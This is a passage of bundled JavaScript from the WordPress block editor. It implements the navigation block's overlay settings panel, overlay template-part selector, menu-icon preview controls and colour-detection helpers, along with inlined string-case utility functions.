              onChange: (value) => setAttributes({ icon: value }),
              isBlock: true,
              children: [
                /* @__PURE__ */ (0, import_jsx_runtime312.jsx)(
                  import_components75.__experimentalToggleGroupControlOption,
                  {
                    value: "handle",
                    "aria-label": (0, import_i18n118.__)("handle"),
                    label: /* @__PURE__ */ (0, import_jsx_runtime312.jsx)(OverlayMenuIcon, { icon: "handle" })
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime312.jsx)(
                  import_components75.__experimentalToggleGroupControlOption,
                  {
                    value: "menu",
                    "aria-label": (0, import_i18n118.__)("menu"),
                    label: /* @__PURE__ */ (0, import_jsx_runtime312.jsx)(OverlayMenuIcon, { icon: "menu" })
                  }
                )
              ]
            }
          )
        }
      )
    ] });
  }

  // packages/block-library/build-module/navigation/edit/overlay-panel.mjs
  var import_components82 = __toESM(require_components(), 1);
  var import_i18n126 = __toESM(require_i18n(), 1);
  var import_element69 = __toESM(require_element(), 1);

  // packages/block-library/build-module/navigation/edit/overlay-template-part-selector.mjs
  var import_element67 = __toESM(require_element(), 1);
  var import_compose32 = __toESM(require_compose(), 1);
  var import_core_data35 = __toESM(require_core_data(), 1);
  var import_data68 = __toESM(require_data(), 1);
  var import_components77 = __toESM(require_components(), 1);
  var import_i18n121 = __toESM(require_i18n(), 1);
  var import_html_entities4 = __toESM(require_html_entities(), 1);
  var import_notices12 = __toESM(require_notices(), 1);

  // packages/block-library/build-module/navigation/edit/use-create-overlay.mjs
  var import_element65 = __toESM(require_element(), 1);
  var import_data67 = __toESM(require_data(), 1);
  var import_core_data34 = __toESM(require_core_data(), 1);
  var import_block_editor142 = __toESM(require_block_editor(), 1);
  var import_i18n119 = __toESM(require_i18n(), 1);
  var import_blocks57 = __toESM(require_blocks(), 1);

  // node_modules/tslib/tslib.es6.mjs
  var __assign = function() {
    __assign = Object.assign || function __assign2(t2) {
      for (var s2, i2 = 1, n2 = arguments.length; i2 < n2; i2++) {
        s2 = arguments[i2];
        for (var p2 in s2) if (Object.prototype.hasOwnProperty.call(s2, p2)) t2[p2] = s2[p2];
      }
      return t2;
    };
    return __assign.apply(this, arguments);
  };

  // node_modules/lower-case/dist.es2015/index.js
  function lowerCase(str) {
    return str.toLowerCase();
  }

  // node_modules/no-case/dist.es2015/index.js
  var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
  var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
  function noCase(input, options2) {
    if (options2 === void 0) {
      options2 = {};
    }
    var _a = options2.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options2.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options2.transform, transform = _c === void 0 ? lowerCase : _c, _d = options2.delimiter, delimiter = _d === void 0 ? " " : _d;
    var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
    var start = 0;
    var end = result.length;
    while (result.charAt(start) === "\0")
      start++;
    while (result.charAt(end - 1) === "\0")
      end--;
    return result.slice(start, end).split("\0").map(transform).join(delimiter);
  }
  function replace(input, re, value) {
    if (re instanceof RegExp)
      return input.replace(re, value);
    return re.reduce(function(input2, re2) {
      return input2.replace(re2, value);
    }, input);
  }

  // node_modules/upper-case-first/dist.es2015/index.js
  function upperCaseFirst(input) {
    return input.charAt(0).toUpperCase() + input.substr(1);
  }

  // node_modules/capital-case/dist.es2015/index.js
  function capitalCaseTransform(input) {
    return upperCaseFirst(input.toLowerCase());
  }
  function capitalCase(input, options2) {
    if (options2 === void 0) {
      options2 = {};
    }
    return noCase(input, __assign({ delimiter: " ", transform: capitalCaseTransform }, options2));
  }

  // node_modules/dot-case/dist.es2015/index.js
  function dotCase(input, options2) {
    if (options2 === void 0) {
      options2 = {};
    }
    return noCase(input, __assign({ delimiter: "." }, options2));
  }

  // node_modules/param-case/dist.es2015/index.js
  function paramCase(input, options2) {
    if (options2 === void 0) {
      options2 = {};
    }
    return dotCase(input, __assign({ delimiter: "-" }, options2));
  }

  // packages/block-library/build-module/navigation/edit/utils.mjs
  function getComputedStyle(node) {
    return node.ownerDocument.defaultView.getComputedStyle(node);
  }
  function detectColors(colorsDetectionElement, setColor, setBackground) {
    if (!colorsDetectionElement) {
      return;
    }
    setColor(getComputedStyle(colorsDetectionElement).color);
    let backgroundColorNode = colorsDetectionElement;
    let backgroundColor = getComputedStyle(backgroundColorNode).backgroundColor;
    while (backgroundColor === "rgba(0, 0, 0, 0)" && backgroundColorNode.parentNode && backgroundColorNode.parentNode.nodeType === backgroundColorNode.parentNode.ELEMENT_NODE) {
      backgroundColorNode = backgroundColorNode.parentNode;
      backgroundColor = getComputedStyle(backgroundColorNode).backgroundColor;
    }
    setBackground(backgroundColor);
  }
  function getColors(context, isSubMenu) {
    const {
      textColor,
      customTextColor,
      backgroundColor,
      customBackgroundColor,
      overlayTextColor,
      customOverlayTextColor,
      overlayBackgroundColor,
      customOverlayBackgroundColor,
      style: style2
    } = context;
    const colors = {};
    if (isSubMenu && !!customOverlayTextColor) {
      colors.customTextColor = customOverlayTextColor;
    } else if (isSubMenu && !!overlayTextColor) {
      colors.textColor = overlayTextColor;
    } else if (!!customTextColor) {
      colors.customTextColor = customTextColor;
    } else if (!!textColor) {
      colors.textColor = textColor;
    } else if (!!style2?.color?.text) {
      colors.customTextColor = style2.color.text;
    }
    if (isSubMenu && !!customOverlayBackgroundColor) {
      colors.customBackgroundColor = customOverlayBackgroundColor;
    } else if (isSubMenu && !!overlayBackgroundColor) {
      colors.backgroundColor = overlayBackgroundColor;
    } else if (!!customBackgroundColor) {
      colors.customBackgroundColor = customBackgroundColor;
    } else if (!!backgroundColor) {
      colors.backgroundColor = backgroundColor;
    } else if (!!style2?.color?.background) {
      colors.customTextColor = style2.color.background;
    }
    return colors;
  }
  function getNavigationChildBlockProps(innerBlocksColors) {
    return {
      className: clsx_default("wp-block-navigation__submenu-container", {
        "has-text-color": !!(innerBlocksColors.textColor || innerBlocksColors.customTextColor),
        [`has-${innerBlocksColors.textColor}-color`]: !!innerBlocksColors.textColor,
        "has-background": !!(innerBlocksColors.backgroundColor || innerBlocksColors.customBackgroundColor),
        [`has-${innerBlocksColors.backgroundColor}-background-color`]: !!innerBlocksColors.backgroundColor
      }),
      style: {
        color: innerBlocksColors.customTextColor,
        backgroundColor: innerBlocksColors.customBackgroundColor
      }
    };
  }
  var getUniqueTemplatePartTitle = (title, templateParts) => {
    const lowercaseTitle = title.toLowerCase();
    const existingTitles = templateParts.map(
      (templatePart) => templatePart.title.rendered.toLowerCase()
    );
    if (!existingTitles.includes(lowercaseTitle)) {
      return title;
    }
    let suffix = 2;
    while (existingTitles.includes(`${lowercaseTitle} ${suffix}`)) {
      suffix++;
    }
    return `${title} ${suffix}`;
  };
  var getCleanTemplatePartSlug = (title) => {
    return paramCase(title).replace(/[^\w-]+/g, "") || "wp-custom-part";
  };

  // packages/block-library/build-module/navigation/edit/use-create-overlay.mjs
  function useCreateOverlayTemplatePart(overlayTemplateParts) {
    const { saveEntityRecord } = (0, import_data67.useDispatch)(import_core_data34.store);
    const pattern = (0, import_data67.useSelect)(
      (select9) => unlock(select9(import_block_editor142.store)).getPatternBySlug(
        "core/navigation-overlay"
      ),
      []
    );
    const createOverlayTemplatePart = (0, import_element65.useCallback)(async () => {
      const templatePartsWithTitles = overlayTemplateParts.filter(
        (templatePart2) => templatePart2.title?.rendered
      );
      const uniqueTitle = getUniqueTemplatePartTitle(
        (0, import_i18n119.__)("Navigation Overlay"),
        templatePartsWithTitles
      );
      const cleanSlug = getCleanTemplatePartSlug(uniqueTitle);
      let initialContent = "";
      if (pattern?.content) {
        const blocks = (0, import_blocks57.parse)(pattern.content, {
          __unstableSkipMigrationLogs: true
        });
        initialContent = (0, import_blocks57.serialize)(blocks);
      } else {
        initialContent = (0, import_blocks57.serialize)([(0, import_blocks57.createBlock)("core/paragraph")]);
      }
      const templatePart = await saveEntityRecord(
        "postType",
        "wp_template_part",
        {
          slug: cleanSlug,
          title: uniqueTitle,
          content: initialContent,
          area: NAVIGATION_OVERLAY_TEMPLATE_PART_AREA
        },
        { throwOnError: true }
      );
      return templatePart;
    }, [overlayTemplateParts, saveEntityRecord, pattern]);
    return createOverlayTemplatePart;
  }

  // packages/block-library/build-module/navigation/edit/deleted-overlay-warning.mjs
  var import_components76 = __toESM(require_components(), 1);
  var import_i18n120 = __toESM(require_i18n(), 1);
  var import_element66 = __toESM(require_element(), 1);
  var import_jsx_runtime313 = __toESM(require_jsx_runtime(), 1);
  function DeletedOverlayWarning({ onClear, onCreate, isCreating = false }) {
    const message = (0, import_element66.createInterpolateElement)(
      (0, import_i18n120.__)(
        "The selected overlay template part is missing or has been deleted. <clearButton>Reset to default overlay</clearButton> or <createButton>create a new overlay</createButton>."
      ),
      {
        clearButton: /* @__PURE__ */ (0, import_jsx_runtime313.jsx)(
          import_components76.Button,
          {
            __next40pxDefaultSize: true,
            onClick: onClear,
            variant: "link",
            disabled: isCreating,
            accessibleWhenDisabled: true
          }
        ),
        createButton: /* @__PURE__ */ (0, import_jsx_runtime313.jsx)(
          import_components76.Button,
          {
            __next40pxDefaultSize: true,
            onClick: onCreate,
            variant: "link",
            disabled: isCreating,
            accessibleWhenDisabled: true,
            isBusy: isCreating
          }
        )
      }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime313.jsx)(
      import_components76.Notice,
      {
        status: "warning",
        isDismissible: false,
        className: "wp-block-navigation__deleted-overlay-warning",
        children: message
      }
    );
  }
  var deleted_overlay_warning_default = DeletedOverlayWarning;

  // packages/block-library/build-module/navigation/edit/overlay-template-part-selector.mjs
  var import_jsx_runtime314 = __toESM(require_jsx_runtime(), 1);
  function OverlayTemplatePartSelector({
    overlay,
    overlayMenu,
    setAttributes,
    onNavigateToEntityRecord,
    isCreatingOverlay,
    setIsCreatingOverlay
  }) {
    const headingId = (0, import_compose32.useInstanceId)(
      OverlayTemplatePartSelector,
      "wp-block-navigation__overlay-selector-heading"
    );
    const {
      records: templateParts,
      isResolving,
      hasResolved
    } = (0, import_core_data35.useEntityRecords)("postType", "wp_template_part", {
      per_page: -1
    });
    const { createErrorNotice } = (0, import_data68.useDispatch)(import_notices12.store);
    const currentTheme = (0, import_data68.useSelect)(
      (select9) => select9(import_core_data35.store).getCurrentTheme()?.stylesheet,
      []
    );
    const [localIsCreating, setLocalIsCreating] = (0, import_element67.useState)(false);
    const isCreating = isCreatingOverlay !== void 0 ? isCreatingOverlay : localIsCreating;
    const setIsCreating = setIsCreatingOverlay !== void 0 ? setIsCreatingOverlay : setLocalIsCreating;
    const overlayTemplateParts = (0, import_element67.useMemo)(() => {
      if (!templateParts) {
        return [];
      }
      return templateParts.filter(
        (templatePart) => templatePart.area === NAVIGATION_OVERLAY_TEMPLATE_PART_AREA
      );
    }, [templateParts]);
    const createOverlayTemplatePart = useCreateOverlayTemplatePart(overlayTemplateParts);
    const selectedTemplatePart = (0, import_element67.useMemo)(() => {
      if (!overlay || !overlayTemplateParts) {
        return null;
      }
      return overlayTemplateParts.find(
        (templatePart) => templatePart.slug === overlay
      );
    }, [overlay, overlayTemplateParts]);
    const options2 = (0, import_element67.useMemo)(() => {
      const baseOptions = [
        {
          label: (0, import_i18n121.__)("Default"),
          value: ""
        }
      ];
      if (!hasResolved || isResolving) {
        return baseOptions;
      }
      const templatePartOptions = overlayTemplateParts.map(
        (templatePart) => {
          const label = templatePart.title?.rendered ? (0, import_html_entities4.decodeEntities)(templatePart.title.rendered) : templatePart.slug;
          return {
            label,
            value: templatePart.slug
          };
        }
      );
      if (overlay && !selectedTemplatePart) {
        templatePartOptions.unshift({
          label: (0, import_i18n121.sprintf)(
            /* translators: %s: Overlay slug. */
            (0, import_i18n121.__)("%s (missing)"),
            overlay
          ),
          value: overlay
        });
      }
      return [...baseOptions, ...templatePartOptions];
    }, [
      overlayTemplateParts,
      hasResolved,
      isResolving,
      overlay,
      selectedTemplatePart
    ]);
    const handleSelectChange = (value) => {
      setAttributes({
        overlay: value || void 0
      });
    };
    const handleEditClick = () => {
      if (!overlay || !selectedTemplatePart || !onNavigateToEntityRecord) {
        return;
      }
      const theme = selectedTemplatePart.theme || currentTheme;
      const templatePartId = createTemplatePartId(theme, overlay);
      const params = {
        postId: templatePartId,
        postType: "wp_template_part"
      };
      if (overlayMenu === "mobile") {
        params.viewport = "mobile";
      }
      onNavigateToEntityRecord(params);
    };
    const handleCreateOverlay = (0, import_element67.useCallback)(async () => {
      try {
        setIsCreating(true);
        const templatePart = await createOverlayTemplatePart();
        setAttributes({
          overlay: templatePart.slug
        });
        if (onNavigateToEntityRecord) {
          const theme = templatePart.theme || currentTheme;
          const templatePartId = createTemplatePartId(
            theme,
            templatePart.slug
          );
          const params = {
            postId: templatePartId,
            postType: "wp_template_part"
          };
          if (overlayMenu === "mobile") {
            params.viewport = "mobile";
          }
          onNavigateToEntityRecord(params);
        } else {
          setIsCreating(false);
        }
      } catch (error) {
        const errorMessage = error instanceof Error && "code" in error && error.message && error.code !== "unknown_error" ? error.message : (0, import_i18n121.__)("An error occurred while creating the overlay.");
        createErrorNotice(errorMessage, { type: "snackbar" });
        setIsCreating(false);
      }
    }, [
      createOverlayTemplatePart,
      setAttributes,
      onNavigateToEntityRecord,
      createErrorNotice,
      currentTheme,
      setIsCreating,
      overlayMenu
    ]);
    const handleClearOverlay = (0, import_element67.useCallback)(() => {
      setAttributes({ overlay: void 0 });
    }, [setAttributes]);
    const isCreateButtonDisabled = isResolving || isCreating;
    const isOverlayMissing = (0, import_element67.useMemo)(() => {
      return overlay && hasResolved && !isResolving && !selectedTemplatePart;
    }, [overlay, hasResolved, isResolving, selectedTemplatePart]);
    const helpText = (0, import_element67.useMemo)(() => {
      if (overlayTemplateParts.length === 0 && hasResolved) {
        return (0, import_i18n121.__)("No overlays found.");
      }
      return (0, import_i18n121.__)("Select an overlay for navigation.");
    }, [overlayTemplateParts.length, hasResolved]);
    const editButtonLabel = (0, import_element67.useMemo)(() => {
      return selectedTemplatePart ? (0, import_i18n121.sprintf)(
        /* translators: %s: Overlay title. */
        (0, import_i18n121.__)("Edit overlay: %s"),
        selectedTemplatePart.title?.rendered ? (0, import_html_entities4.decodeEntities)(selectedTemplatePart.title.rendered) : selectedTemplatePart.slug
      ) : (0, import_i18n121.__)("Edit overlay");
    }, [selectedTemplatePart]);
    return /* @__PURE__ */ (0, import_jsx_runtime314.jsxs)("div", { className: "wp-block-navigation__overlay-selector", children: [
      /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(
        "h3",
        {
          id: headingId,
          className: "wp-block-navigation__overlay-selector-header",
          children: (0, import_i18n121.__)("Overlay template")
        }
      ),
      hasResolved && (overlayTemplateParts.length === 0 || isCreating && overlayTemplateParts.length === 1) ? /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(import_jsx_runtime314.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(
        import_components77.Button,
        {
          __next40pxDefaultSize: true,
          variant: "secondary",
          onClick: handleCreateOverlay,
          disabled: isCreateButtonDisabled,
          accessibleWhenDisabled: true,
          isBusy: isCreating,
          className: "wp-block-navigation__overlay-create-button-prominent",
          children: (0, import_i18n121.__)("Create overlay")
        }
      ) }) : /* @__PURE__ */ (0, import_jsx_runtime314.jsxs)(import_jsx_runtime314.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(
          import_components77.Button,
          {
            size: "small",
            icon: plus_default,
            onClick: handleCreateOverlay,
            disabled: isCreateButtonDisabled,
            accessibleWhenDisabled: true,
            isBusy: isCreating,
            label: (0, import_i18n121.__)("Create new overlay template"),
            showTooltip: true,
            className: "wp-block-navigation__overlay-create-button"
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime314.jsxs)(
          import_components77.__experimentalHStack,
          {
            alignment: "flex-start",
            className: "wp-block-navigation__overlay-selector-controls",
            children: [
              /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(import_components77.FlexBlock, { children: /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(
                import_components77.SelectControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n121.__)("Overlay template"),
                  hideLabelFromVision: true,
                  "aria-labelledby": headingId,
                  value: overlay || "",
                  options: options2,
                  onChange: handleSelectChange,
                  disabled: isResolving,
                  accessibleWhenDisabled: true,
                  help: helpText
                }
              ) }),
              overlay && hasResolved && selectedTemplatePart && /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(import_components77.FlexItem, { children: /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(
                import_components77.Button,
                {
                  __next40pxDefaultSize: true,
                  variant: "secondary",
                  onClick: handleEditClick,
                  disabled: !onNavigateToEntityRecord,
                  accessibleWhenDisabled: true,
                  label: editButtonLabel,
                  showTooltip: true,
                  className: "wp-block-navigation__overlay-edit-button",
                  children: (0, import_i18n121.__)("Edit")
                }
              ) })
            ]
          }
        ),
        isOverlayMissing && /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(
          deleted_overlay_warning_default,
          {
            onClear: handleClearOverlay,
            onCreate: handleCreateOverlay,
            isCreating
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(
        import_components77.__experimentalHStack,
        {
          alignment: "flex-start",
          className: "wp-block-navigation__overlay-help-text-wrapper",
          children: /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(
            import_components77.__experimentalText,
            {
              variant: "muted",
              isBlock: true,
              className: "wp-block-navigation__overlay-help-text",
              children: (0, import_i18n121.__)(
                "An overlay template allows you to customize the appearance of the dialog that opens when the menu button is pressed."
              )
            }
          )
        }
      )
    ] });
  }

  // packages/block-library/build-module/navigation/edit/overlay-visibility-control.mjs
  var import_components78 = __toESM(require_components(), 1);
  var import_i18n122 = __toESM(require_i18n(), 1);
  var import_jsx_runtime315 = __toESM(require_jsx_runtime(), 1);
  function OverlayVisibilityControl({
    overlayMenu,
    setAttributes
  }) {
    return /* @__PURE__ */ (0, import_jsx_runtime315.jsxs)(
      import_components78.__experimentalToggleGroupControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n122.__)("Overlay Visibility"),
        "aria-label": (0, import_i18n122.__)("Configure overlay visibility"),
        value: overlayMenu,
        help: (0, import_i18n122.__)(
          "Collapses the navigation options in a menu icon opening an overlay."
        ),
        onChange: (value) => setAttributes({ overlayMenu: value }),
        isBlock: true,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime315.jsx)(import_components78.__experimentalToggleGroupControlOption, { value: "never", label: (0, import_i18n122.__)("Off") }),
          /* @__PURE__ */ (0, import_jsx_runtime315.jsx)(import_components78.__experimentalToggleGroupControlOption, { value: "mobile", label: (0, import_i18n122.__)("Mobile") }),
          /* @__PURE__ */ (0, import_jsx_runtime315.jsx)(import_components78.__experimentalToggleGroupControlOption, { value: "always", label: (0, import_i18n122.__)("Always") })
        ]
      }
    );
  }

  // packages/block-library/build-module/navigation/edit/overlay-menu-preview-button.mjs
  var import_components80 = __toESM(require_components(), 1);
  var import_i18n124 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/navigation/edit/overlay-menu-preview-controls.mjs
  var import_components79 = __toESM(require_components(), 1);
  var import_i18n123 = __toESM(require_i18n(), 1);
  var import_jsx_runtime316 = __toESM(require_jsx_runtime(), 1);
  function OverlayMenuPreviewControls({
    hasIcon,
    icon: icon4,
    setAttributes
  }) {
    return /* @__PURE__ */ (0, import_jsx_runtime316.jsxs)(import_components79.__experimentalVStack, { spacing: 4, children: [
      /* @__PURE__ */ (0, import_jsx_runtime316.jsx)(
        import_components79.ToggleControl,
        {
          label: (0, import_i18n123.__)("Show icon button"),
          help: (0, import_i18n123.__)(
            "Configure the visual appearance of the button that toggles the overlay menu."
          ),
          onChange: (value) => setAttributes({ hasIcon: value }),
          checked: hasIcon
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime316.jsxs)(
        import_components79.__experimentalToggleGroupControl,
        {
          __next40pxDefaultSize: true,
          className: "wp-block-navigation__overlay-menu-icon-toggle-group",
          label: (0, import_i18n123.__)("Icon"),
          value: icon4,
          onChange: (value) => setAttributes({ icon: value }),
          isBlock: true,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime316.jsx)(
              import_components79.__experimentalToggleGroupControlOption,
              {
                value: "handle",
                "aria-label": (0, import_i18n123.__)("handle"),
                label: /* @__PURE__ */ (0, import_jsx_runtime316.jsx)(OverlayMenuIcon, { icon: "handle" })
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime316.jsx)(
              import_components79.__experimentalToggleGroupControlOption,
              {
                value: "menu",
                "aria-label": (0, import_i18n123.__)("menu"),
                label: /* @__PURE__ */ (0, import_jsx_runtime316.jsx)(OverlayMenuIcon, { icon: "menu" })
              }
            )
          ]
        }
      )
    ] });
  }

  // packages/block-library/build-module/navigation/edit/overlay-menu-preview-button.mjs
  var import_jsx_runtime317 = __toESM(require_jsx_runtime(), 1);
  function OverlayMenuPreviewButton({
    isResponsive,
    overlayMenuPreview,
    setOverlayMenuPreview,
    hasIcon,
    icon: icon4,
    setAttributes,
    overlayMenuPreviewClasses,
    overlayMenuPreviewId,
    containerStyle
  }) {
    if (!isResponsive) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime317.jsxs)(import_jsx_runtime317.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime317.jsxs)(
        import_components80.Button,
        {
          __next40pxDefaultSize: true,
          className: overlayMenuPreviewClasses,
          onClick: () => setOverlayMenuPreview(!overlayMenuPreview),
          "aria-label": (0, import_i18n124.__)("Overlay menu controls"),
          "aria-controls": overlayMenuPreviewId,
          "aria-expanded": overlayMenuPreview,
          children: [
            hasIcon && /* @__PURE__ */ (0, import_jsx_runtime317.jsxs)(import_jsx_runtime317.Fragment, { children: [
              /* @__PURE__ */ (0, import_jsx_runtime317.jsx)(OverlayMenuIcon, { icon: icon4 }),
              /* @__PURE__ */ (0, import_jsx_runtime317.jsx)(icon_default, { icon: close_default })
            ] }),
            !hasIcon && /* @__PURE__ */ (0, import_jsx_runtime317.jsxs)(import_jsx_runtime317.Fragment, { children: [
              /* @__PURE__ */ (0, import_jsx_runtime317.jsx)("span", { children: (0, import_i18n124.__)("Menu") }),
              /* @__PURE__ */ (0, import_jsx_runtime317.jsx)("span", { children: (0, import_i18n124.__)("Close") })
            ] })
          ]
        }
      ),
      overlayMenuPreview && /* @__PURE__ */ (0, import_jsx_runtime317.jsx)(
        import_components80.__experimentalVStack,
        {
          id: overlayMenuPreviewId,
          spacing: 4,
          style: containerStyle,
          children: /* @__PURE__ */ (0, import_jsx_runtime317.jsx)(
            OverlayMenuPreviewControls,
            {
              hasIcon,
              icon: icon4,
              setAttributes
            }
          )
        }
      )
    ] });
  }

  // packages/block-library/build-module/navigation/edit/overlay-preview.mjs
  var import_data69 = __toESM(require_data(), 1);
  var import_core_data36 = __toESM(require_core_data(), 1);
  var import_element68 = __toESM(require_element(), 1);
  var import_blocks58 = __toESM(require_blocks(), 1);
  var import_components81 = __toESM(require_components(), 1);
  var import_i18n125 = __toESM(require_i18n(), 1);
  var import_block_editor143 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime318 = __toESM(require_jsx_runtime(), 1);
  function OverlayPreview({ overlay, currentTheme }) {
    const templatePartId = (0, import_element68.useMemo)(() => {
      if (!overlay || !currentTheme) {
        return null;
      }
      return createTemplatePartId(currentTheme, overlay);
    }, [currentTheme, overlay]);
    const { content, editedBlocks, hasResolved } = (0, import_data69.useSelect)(
      (select9) => {
        if (!templatePartId) {
          return {
            content: null,
            editedBlocks: null,
            hasResolved: true
          };
        }
        const { getEditedEntityRecord, hasFinishedResolution } = select9(import_core_data36.store);
        const editedRecord = getEditedEntityRecord(
          "postType",
          "wp_template_part",
          templatePartId,
          { context: "view" }
        );
        return {
          content: editedRecord?.content,
          editedBlocks: editedRecord?.blocks,
          hasResolved: hasFinishedResolution("getEditedEntityRecord", [
            "postType",
            "wp_template_part",
            templatePartId,
            { context: "view" }
          ])
        };
      },
      [templatePartId]
    );
    const blocks = (0, import_element68.useMemo)(() => {
      if (!templatePartId) {
        return null;
      }
      if (editedBlocks && editedBlocks.length > 0) {
        return editedBlocks;
      }
      if (content && typeof content === "string") {
        return (0, import_blocks58.parse)(content);
      }
      return [];
    }, [templatePartId, editedBlocks, content]);
    if (!overlay) {
      return null;
    }
    if (!hasResolved) {
      return /* @__PURE__ */ (0, import_jsx_runtime318.jsx)("div", { className: "wp-block-navigation__overlay-preview-loading", children: /* @__PURE__ */ (0, import_jsx_runtime318.jsx)(import_components81.Spinner, {}) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime318.jsx)(
      "div",
      {
        className: "wp-block-navigation__overlay-preview",
        "aria-label": (0, import_i18n125.__)("Navigation Overlay template part preview"),
        role: "region",
        children: /* @__PURE__ */ (0, import_jsx_runtime318.jsx)(
          import_block_editor143.BlockPreview.Async,
          {
            placeholder: /* @__PURE__ */ (0, import_jsx_runtime318.jsx)("div", { className: "wp-block-navigation__overlay-preview-placeholder" }),
            children: /* @__PURE__ */ (0, import_jsx_runtime318.jsx)(
              import_block_editor143.BlockPreview,
              {
                blocks,
                viewportWidth: 400,
                minHeight: 200
              }
            )
          }
        )
      }
    );
  }

  // packages/block-library/build-module/navigation/edit/overlay-panel.mjs
  var import_jsx_runtime319 = __toESM(require_jsx_runtime(), 1);
  function OverlayPanel({
    overlayMenu,
    overlay,
    setAttributes,
    onNavigateToEntityRecord,
    overlayMenuPreview,
    setOverlayMenuPreview,
    hasIcon,
    icon: icon4,
    overlayMenuPreviewClasses,
    overlayMenuPreviewId,
    isResponsive,
    currentTheme,
    hasOverlays
  }) {
    const [isCreatingOverlay, setIsCreatingOverlay] = (0, import_element69.useState)(false);
    return /* @__PURE__ */ (0, import_jsx_runtime319.jsx)(import_components82.PanelBody, { title: (0, import_i18n126.__)("Overlay"), initialOpen: true, children: /* @__PURE__ */ (0, import_jsx_runtime319.jsxs)(import_components82.__experimentalVStack, { spacing: 4, children: [
      /* @__PURE__ */ (0, import_jsx_runtime319.jsx)(
        OverlayVisibilityControl,
        {
          overlayMenu,
          setAttributes
        }
      ),
      overlayMenu !== "never" && /* @__PURE__ */ (0, import_jsx_runtime319.jsx)(
        OverlayMenuPreviewButton,
        {
          isResponsive,
          overlayMenuPreview,
          setOverlayMenuPreview,
          hasIcon,
          icon: icon4,
          setAttributes,
          overlayMenuPreviewClasses,
          overlayMenuPreviewId
        }
      ),
      overlayMenu !== "never" && /* @__PURE__ */ (0, import_jsx_runtime319.jsx)(
        OverlayTemplatePartSelector,
        {
          overlay,
          overlayMenu,
          setAttributes,
          onNavigateToEntityRecord,
          isCreatingOverlay,
          setIsCreatingOverlay
        }
      ),
      overlayMenu !== "never" && overlay && hasOverlays && !isCreatingOverlay && /* @__PURE__ */ (0, import_jsx_runtime319.jsx)(
        OverlayPreview,
        {
          overlay,
          currentTheme
        }
      )
    ] }) });
  }

  // packages/block-library/build-module/navigation/edit/use-convert-classic-menu-to-block-menu.mjs
  var import_data71 = __toESM(require_data(), 1);
  var import_core_data38 = __toESM(require_core_data(), 1);
  var import_element71 = __toESM(require_element(), 1);
  var import_i18n127 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/navigation/menu-items-to-blocks.mjs
  var import_blocks59 = __toESM(require_blocks(), 1);
  var import_hooks40 = __toESM(require_hooks(), 1);

  // packages/block-library/build-module/navigation-link/shared/use-entity-binding.mjs
  var import_element70 = __toESM(require_element(), 1);
  var import_block_editor144 = __toESM(require_block_editor(), 1);
  var import_data70 = __toESM(require_data(), 1);
  var import_core_data37 = __toESM(require_core_data(), 1);
  function buildNavigationLinkEntityBinding(kind) {
    if (kind === void 0) {
      throw new Error(
        'buildNavigationLinkEntityBinding requires a kind parameter. Only "post-type" and "taxonomy" are supported.'
      );
    }
    if (kind !== "post-type" && kind !== "taxonomy") {
      throw new Error(
        `Invalid kind "${kind}" provided to buildNavigationLinkEntityBinding. Only 'post-type' and 'taxonomy' are supported.`
      );
    }
    const source = kind === "taxonomy" ? "core/term-data" : "core/post-data";
    return {
      url: {
        source,
        args: {
          field: "link"
        }
      }
    };
  }
  function useEntityBinding({ clientId, attributes: attributes2 }) {
    const { updateBlockBindings } = (0, import_block_editor144.useBlockBindingsUtils)(clientId);
    const { metadata, id, kind, type } = attributes2;
    const blockEditingMode = (0, import_block_editor144.useBlockEditingMode)();
    const hasUrlBinding = !!metadata?.bindings?.url && !!id;
    const expectedSource = kind === "post-type" ? "core/post-data" : "core/term-data";
    const hasCorrectBinding = hasUrlBinding && metadata?.bindings?.url?.source === expectedSource;
    const { isBoundEntityAvailable, entityRecord } = (0, import_data70.useSelect)(
      (select9) => {
        if (!hasCorrectBinding || !id) {
          return { isBoundEntityAvailable: false, entityRecord: null };
        }
        const isPostType = kind === "post-type";
        const isTaxonomy = kind === "taxonomy";
        if (!isPostType && !isTaxonomy) {
          return { isBoundEntityAvailable: false, entityRecord: null };
        }
        if (blockEditingMode === "disabled") {
          return { isBoundEntityAvailable: true, entityRecord: null };
        }
        const { getEntityRecord, hasFinishedResolution } = select9(import_core_data37.store);
        const entityType = isTaxonomy ? "taxonomy" : "postType";
        const typeForAPI = type === "tag" ? "post_tag" : type;
        const record = getEntityRecord(entityType, typeForAPI, id);
        const hasResolved = hasFinishedResolution("getEntityRecord", [
          entityType,
          typeForAPI,
          id
        ]);
        const isAvailable = hasResolved ? record !== void 0 : true;
        return {
          isBoundEntityAvailable: isAvailable,
          entityRecord: record || null
        };
      },
